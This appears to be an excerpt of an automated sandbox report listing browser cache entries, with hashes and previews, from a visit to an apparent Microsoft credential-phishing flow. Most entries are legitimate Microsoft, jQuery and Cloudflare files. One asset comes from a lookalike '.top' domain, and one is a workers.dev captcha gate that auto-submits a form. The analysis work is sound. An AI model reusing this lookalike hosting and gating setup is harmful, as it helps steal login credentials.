Preview:	.PNG........IHDR...Y.........0.r.....sRGB.........gAMA......a.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:BABFACAF901511E2BD4FDE5C526470CF" xmpMM:DocumentID="xmp.did:BABFACB0901511E2BD4FDE5C526470CF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BABFACAD901511E2BD4FDE5C526470CF" stRef:documentID="xmp.did:BABFACAE901511E2BD4FDE5C526470CF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..R....fIDATXG.mq[1.E.!...3&...P.................3..~L..q.O..t..{...v?..n.....b#.-.i..

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	659798
Entropy (8bit):	5.352921769071548
Encrypted:	false
SSDEEP:	12288:nEMsQrWEWbnByixmwgXZewhYcFiG4DUIxo:nEMsJpBJgHKcFQNo
MD5:	9786D38346567E5E93C7D03B06E3EA2D
SHA1:	23EF8C59C5C9AA5290865933B29C9C56AB62E3B0
SHA-256:	263307E3FE285C85CB77CF5BA69092531CE07B7641BF316EF496DCB5733AF76C
SHA-512:	4962CDF483281AB39D339A7DA105A88ADDB9C210C9E36EA5E36611D7135D19FEC8B3C9DBA3E97ABB36D580F194F1860813071FD6CBEDE85D3E88952D099D6805
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.1.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.1.mouse.js'] = (new Date()).getTime();..;_a.d.G=function(n,t){this.b=n;this.a=t};_a.d.G.prototype={b:0,a:0};_a.fo=function(n){this.s=n};_a.fo.prototype={s:null,t:null,i:function(){return this.s.currentTarget},e:function(){return this.t?this.t.x:this.s.pageX},f:function(){return this.t?this.t.y:this.s.pageY},o:function(){return this.s.relatedTarget},b:function(){return this.s.target},n:function(){return this.s.timeStamp\|\|+new Date},a:function(){var n=this.s.which;!n&&_a.o.a().K&&this.s.type==="keypress"&&(n=this.u());return n},u:function(){return this.s.keyCode},m:function(){return this.s.originalEvent},j:function(){return this.s.type},k:function(){return this.s.originalEvent.touches},q:function(){return this.s.isDefaultPrevented()},g:function(){return this.s.shiftKey},h:function(){return _j.G.a().P?this.s.metaKey:this.s.ctrlKey},l:

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 22 x 22
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.072122642964318
Encrypted:	false
SSDEEP:	12:d44xCq3nQQ5Q36sd0Tc/ET4Io9yjPy00EjNF8:d40CqXQQ5E69qEkI4Wy0lNF8
MD5:	309B41EE7A44BD51E5D1B52CCC620E5B
SHA1:	B162CE55DE01BF7C005F8CE4D4D7C32E7AEACA08
SHA-256:	F213507641FD02EC43981535823474ECFDE973D1B33A6CD385F1F0827FD4B528
SHA-512:	9279138126F8FEDD3AEF32BA4BCD78D3D26BBD4E7DE6F3B21014B96C34D7E69BC4C6471CC94772346CB6C7F9020EB5FE1A3A96686A5B250F5CCDEE54A0936F4D
Malicious:	false
Reputation:	low
Preview:	GIF89a.....;....333..........ZZY.........fff.........ssr...........................................................................................MML.........@@@....................................!.....;.,.............p.+.....9.P'..D.`..........t..pB\C.k..n...[..x7hRt..x7-}.92....}%p5.+..8..9552...n2...#.3//...3../33..."..3+.../9..22....3....+./.9.2......9.........3.....}(.).....5..........7......`...........,"J....D>Dlh...F4D(..I..I..@...!..0]B..d%..w...;

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	2463
Entropy (8bit):	6.994052150121201
Encrypted:	false
SSDEEP:	48:H0itvnLUG0J3nL8VO2ocia6Dk4MAbpGW4YBE/2p:HfNmT2QDnMAbsWTp
MD5:	93DE6FB07C1382459E473381DA5D0E7E
SHA1:	4E1208D482A7ABA8C86FDCF8E0E92C90BB8C8C8A
SHA-256:	E97FA0CFE4B0A7BB22E9713A67D4667DA064E674A944D607E78F0D3BF48E57A5
SHA-512:	B415DE10B55639DD5DFDD038FD490B675059122373659DD86AA00EBC7F6735FD22360264226F8675741FB76F3B3A16E9AB7FA907F489B377EF16E9222AA26E3B
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/wait_animation.gif
Preview:	GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:BCB95722648AE111A86BB806ED51E581" xmpMM:DocumentID="xmp.did:185F1A028B0511E19AA1A07B5BDC793D" xmpMM:InstanceID="xmp.iid:185F1A018B0511E19AA1A07B5BDC793D" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D7EC7F987A8AE111A86BB806ED51E581" stRef:documentID="xmp.did:BCB95722648AE111A86BB806ED51E581"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......................................................................................................

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	23063
Entropy (8bit):	4.7535440881548165
Encrypted:	false
SSDEEP:	384:GvUzYI+Vi4g1V5it1ONhA6w+Kv8i/4CYzLKL4DrLU0iTxZTAzIzrwDlTWMClQip9:bkON69kClQq8hDRJHp2tWU25Zt/gREVG
MD5:	90EA7274F19755002360945D54C2A0D7
SHA1:	647B5D8BF7D119A2C97895363A07A0C6EB8CD284
SHA-256:	40732E9DCFA704CF615E4691BB07AECFD1CC5E063220A46E4A7FF6560C77F5DB
SHA-512:	7474667800FF52A0031029CC338F81E1586F237EB07A49183008C8EC44A8F67B37E5E896573F089A50283DF96A1C8F185E53D667741331B647894532669E2C07
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/WebResource.axd?d=2_9P-7FWCwUTw0t6PZgNgil7QYOdZv7mV3mTzPl_abY06iJhav3EeS0t3M_odI-eZMnD5CNzdW6tfsv0h7u9R5JWbOmxe47Usx_LRUKjpGi5F2_U3VOPZAXsUn8Iz933LGYQB0e77hidpcjWqh1nCg2&t=638478749639812753
Preview:	function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) {.. this.eventTarget = eventTarget;.. this.eventArgument = eventArgument;.. this.validation = validation;.. this.validationGroup = validationGroup;.. this.actionUrl = actionUrl;.. this.trackFocus = trackFocus;.. this.clientSubmit = clientSubmit;..}..function WebForm_DoPostBackWithOptions(options) {.. var validationResult = true;.. if (options.validation) {.. if (typeof(Page_ClientValidate) == 'function') {.. validationResult = Page_ClientValidate(options.validationGroup);.. }.. }.. if (validationResult) {.. if ((typeof(options.actionUrl) != "undefined") && (options.actionUrl != null) && (options.actionUrl.length > 0)) {.. theForm.action = options.actionUrl;.. }.. if (options.trackFocus) {.. var lastFocus = theForm.elements["__LASTFOCUS"];.. if ((typeo

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	6.994052150121201
Encrypted:	false
SSDEEP:	48:H0itvnLUG0J3nL8VO2ocia6Dk4MAbpGW4YBE/2p:HfNmT2QDnMAbsWTp
MD5:	93DE6FB07C1382459E473381DA5D0E7E
SHA1:	4E1208D482A7ABA8C86FDCF8E0E92C90BB8C8C8A
SHA-256:	E97FA0CFE4B0A7BB22E9713A67D4667DA064E674A944D607E78F0D3BF48E57A5
SHA-512:	B415DE10B55639DD5DFDD038FD490B675059122373659DD86AA00EBC7F6735FD22360264226F8675741FB76F3B3A16E9AB7FA907F489B377EF16E9222AA26E3B
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:BCB95722648AE111A86BB806ED51E581" xmpMM:DocumentID="xmp.did:185F1A028B0511E19AA1A07B5BDC793D" xmpMM:InstanceID="xmp.iid:185F1A018B0511E19AA1A07B5BDC793D" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D7EC7F987A8AE111A86BB806ED51E581" stRef:documentID="xmp.did:BCB95722648AE111A86BB806ED51E581"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......................................................................................................

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2345), with CRLF line terminators
Category:	downloaded
Size (bytes):	2347
Entropy (8bit):	5.290031538794594
Encrypted:	false
SSDEEP:	48:gCgF0+kNL5iQ6+GhB+SYWzGuesAFcsGJOzgO6FIEv+sj+M++sx+suse+swsosmC0:gC3Na5+GX+Ti2XsYE2sqAsosushswsoB
MD5:	E86EF8B6111E5FB1D1665BCDC90888C9
SHA1:	994BF7651CB967CD9053056AF2D69ACB74DB7F29
SHA-256:	3410242720DE50B090D07A23AEE2DAD879B31D36F2615732962EC4CFA8A9D458
SHA-512:	2486B491681EE91A9CD1ECC9AA011A3FB34B48358C5D7A4D503A5357BC5CE4CA22999F918D40AC60A3063940D5F326FC7E4E5713D89D5C102DE68824E371B3AB
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 338 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4020
Entropy (8bit):	7.929907559552797
Encrypted:	false
SSDEEP:	96:1X+Yg6Iet+ZpBmQKEuhA/4oJqNoCkQV+CX8h:Fg69t+YfPhEBPnC+t
MD5:	36AFB641BECFAD75FED5F4E6E8C39268
SHA1:	2495652F017B7A06D796AFE9C4A06ECD54F9CCFE
SHA-256:	5C2192A3932CB78B431A1AC0F3F3D73414A31C63D5CB279F2687E58C72694200
SHA-512:	08C27020CF80A181B941EE144090FFBDD12ED34BA8CBEC037ACECE63F850FF8A69BE6DDB0EC24F7141C46F27779ED59AF84A55FB367C1B6F8893B444F44C5AF5
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...R...H.......}.....pHYs..!8..!8.E.1`....sRGB.........gAMA......a....IIDATx...r....[ZZ..V.'0......].......z....M..U.%........C.....}...s...mIV.O5...... ...U.Hq@b......Y..../)..hy.._S......KzK...O\5EQ...(....B.(......(J ...(.......B.(......(J ...(.......B.(..H..EQ.C...V...7.//...~...?.....h4:.@TH.E....}........k.v....L./.@TH...pGN.;.....'.(s...k.......4GTH...'O.~...g[..o.."....l..>.G...;..~...&.....d..u.^F.........M.h.....>.}>..........[......E.b..?.u..{.B........M._.iAh.>~.<S...=.@`e..e....R....._ViA.E....R.@...@..vm.'Ei.v..\>QD..e..R......;o.p{......./^d..TH;.,F>..6...1?..E.p.}..J.p...XD.........7.^b..../.w...........n0.+R.V).J.a..^.X.S..B(..W+++..W. ..e%"Z.[.{,....JQ.iG`....(5..e..`u.*.=.)J...........C.!.@..;$.i.F...W.[....#............k.(J.z....`.dB..)..-H...R.H..O.#V..%......W.4>.'..aJ9.2Q..+.R..id`.x..1.. .../.(J%..>2d.QJ..7.\|.S`..10>..}.M#.....4......<f}..OWO..m.;C[;u.\|P!......L...S.Egr.....3.k.......i.........O...

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3255), with no line terminators
Category:	downloaded
Size (bytes):	3255
Entropy (8bit):	5.229594578678382
Encrypted:	false
SSDEEP:	48:0aXW4lNPkiWUZIbWYBc36yKrnVjbv8+qfOcqwFtiGNir98SKZyEk0s4tPA:dGeCUitBcXanFISch+r98SKZdFsi4
MD5:	F7140AC633F70DE3BB0D785E27A9A381
SHA1:	092E5A67214449AF6EF8C8D2DBC871356F2930DD
SHA-256:	B61FBBE94C1986E8D3964CAF319846C027EB3EEFCB3533200F6648C2055490C8
SHA-512:	A9436A34E287D1F69C11B1394D507532EC942FFCFDCE06913693854CE1F79EBEF1731A6FDDF139EB90F3C28979D0F6AD47106E459774DBDEFC922A52E33D40D2
Malicious:	false
Reputation:	low
URL:	https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/favicon.ico
Preview:	<!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewport> <script>var verifyCallback_CF=function (response){var cfForm=document.querySelector("#cfForm"); if (response && response.length > 10){cfForm.submit(); return;}}; window.onloadTurnstileCallback=function (){turnstile.render("#turnstileCaptcha",{sitekey: "0x4AAAAAAAYN4FOeSmqG7_zc", callback: verifyCallback_CF,});};</script></head><style>.h1,.h2{font-weight:500}*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131;font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-co

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65329), with CRLF line terminators
Category:	downloaded
Size (bytes):	102801
Entropy (8bit):	5.336080509196147
Encrypted:	false
SSDEEP:	1536:MGLiogSomRYvoGtT+KHsVS0bT79DSsi46j/LPyR7kbE:MGLXGFKT79DSs6WCE
MD5:	C89EAA5B28DF1E17376BE71D71649173
SHA1:	2B34DF4C66BB57DE5A24A2EF0896271DFCA4F4CD
SHA-256:	66B804E7A96A87C11E1DD74EA04AC2285DF5AD9043F48046C3E5000114D39B1C
SHA-512:	B73D56304986CD587DA17BEBF21341B450D41861824102CC53885D863B118F6FDF2456B20791B9A7AE56DF91403F342550AF9E46F7401429FBA1D4A15A6BD3C0
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/ScriptResource.axd?d=rKi1V3VGNYf9Wo4eEjkaEPP-kuASnqlHGD20Welj7KIV3NdO7hWPWT2YNjz_Q67962GGuvSh9a2PBU49MfN31fzXjV7ZIVY8eQeKVfB1MXjxEwjK0MQUJ5A91IX5rub-JCkN4CeWiYuq_NMtX7gL4aLMC2zrA36YBRqcyp19QBnvqBNTHSWUbFlRe3ATp36Z2fLUjTpPRNCswW2M9TrU0Mn0MXArQ5Sm_nIYwJwUU_w1&t=74258c30
Preview:	//----------------------------------------------------------..// Copyright (C) Microsoft Corporation. All rights reserved...//----------------------------------------------------------..// MicrosoftAjax.js..Function.__typeName="Function";Function.__class=true;Function.createCallback=function(b,a){return function(){var e=arguments.length;if(e>0){var d=[];for(var c=0;c<e;c++)d[c]=arguments[c];d[e]=a;return b.apply(this,d)}return b.call(this,a)}};Function.createDelegate=function(a,b){return function(){return b.apply(a,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Function.validateParameters=function(c,b,a){return Function._validateParams(c,b,a)};Function._validateParams=function(g,e,c){var a,d=e.length;c=c\|\|typeof c==="undefined";a=Function._validateParameterCount(g,e,c);if(a){a.popStackFrame();return a}for(var b=0,i=g.length;b<i;b++){var f=e[Math.min(b,d-1)],h=f.name;if(f.parameterArray)h+="["+(b-d+1)+"]";else if(!c&&b>=d)break;a=Function._validateParameter(g[b],f

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374174676958316
Encrypted:	false
SSDEEP:	768:JC9//LuIHdpbSt3JoVMjX1y48S7d1dxoqmNdKyBVnPNAZASyXY1eO4mH19B59:OuIHdpbSt3vFy4X4PNdN+9
MD5:	F94A2211CE789A95A7C67E8C660D63E8
SHA1:	F1FC19B6BCB96D0A905BF3192AAFF0885FF9F36F
SHA-256:	926DC3302F99EC05E4206E965DDEB7250F5910A8C38E82C7BEAFB724BBAAF37B
SHA-512:	EAC0FC89C2D6CCEB9F4C18DFC610DFF8BC194D3994F0C74B3D991F8423C6DADE11D805E76124596521C58AFA9939B45D2D3157F0A48626E12548020FC38364D3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?onload=onloadTurnstileCallback
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return 